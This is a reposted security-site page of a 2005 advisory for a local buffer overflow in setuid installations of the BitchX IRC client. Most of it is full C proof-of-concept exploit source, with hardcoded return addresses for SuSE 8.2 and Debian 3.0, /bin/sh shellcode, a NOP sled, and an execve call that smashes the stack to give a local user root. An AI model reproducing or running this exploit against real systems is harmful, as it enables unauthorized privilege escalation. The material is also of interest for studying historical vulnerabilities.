首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BitchX Buffer Overflow
来源:http://www.groundzero-security.com 作者:sk 发布时间:2005-04-22  

BitchX Buffer Overflow

Summary
BitchX contains a local exploitable buffer overflow condition. When BitchX is installed with setuid it allows a non-root user to obtain root access.

Credit:
The information has been provided by sk.
The original exploit can be found at: http://www.g-0.org/code/bx-xp.c

Details
Vulnerable Systems:
* BitchX version 1.0c20cvs

Exploit:
/*
* P.o.C Exploit Code for BitchX
* made for Version (BitchX-1.0c20cvs) -- Date (20020325)
*
* (C) 2004. GroundZero Security Research and Software Development
* http://www.groundzero-security.com
*
* released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
*
* --[ background
*
* BitchX contains an local exploitable Buffer Overflow condition.
* Sometimes it is installed setUID to allow non-root users SSL
* access for example and therefore it could be used by a malicious
* local user, to obtain root access. This code demonstrates the
* described vulnerability and can be used to verify the bug on
* your system(s).
*/

#include <stdio.h>

struct {
char *distro;
char *version;
char *bx;
unsigned int return_add;
unsigned int buff_size;
} T[] = {
{ "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
{ "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
{ "END", "", "", 0, 0 },
};

char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int usage(char *argv)
{
int i;

fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
fprintf (stdout, "Available Targets:\n");
for(i=0;T[i].distro!="END";i++)
fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);

return(0);
}

int main(int argc, char *argv[])
{
unsigned int i;
unsigned int t;

char buffer[3000];
char *a1 = "sh";
char *a2 = "-c";
char *env[] = { "TERM=xterm", 0 };
char *args[] = { a1, a2, buffer, 0}; /* arguments list */

fprintf (stdout, "\n\n###############################\n");
fprintf (stdout, "## GroundZero Security Research and Software Development ##\n");
fprintf (stdout, "## Linux Local P.o.C Exploit for BitchX ##\n");
fprintf (stdout, "###############################\n\n");

if(argv[1]==NULL||argv[2]==NULL)
{
usage (argv[0]);
fprintf (stdout, "\n");
exit (0);
}

if(strlen(argv[1])>255||strlen(argv[2])>255)
{
exit (-1);
}

t=atoi(argv[2]);

fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx);
fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);

for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add; /* put return address in buffer */
for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */

memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit string */

fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
sleep(3);

if((execve (argv[1],args,env))==-1) /* execute binary and smash the stack */
{
perror("execve");
exit (-1);
}

exit (0);
}

/* EOF */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ICMP Attacks Against TCP Vulne
·phpBB Knowledge Base模块SQL注
·Multiple Exploit Codes for Ora
·ASPNuke comments.asp and detai
·PMsoftware Mini HTTP Server Re
·MSN Messenger PNG Image Buffer
·Multiple Vendor TCP/IP Impleme
·FOXmail POC exploit
·WheresJames Webcam Publisher R
·Savant Web Server 3.1 Remote B
·UBB Threads printthread.php Re
·CA BrightStor ARCserve Backup
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved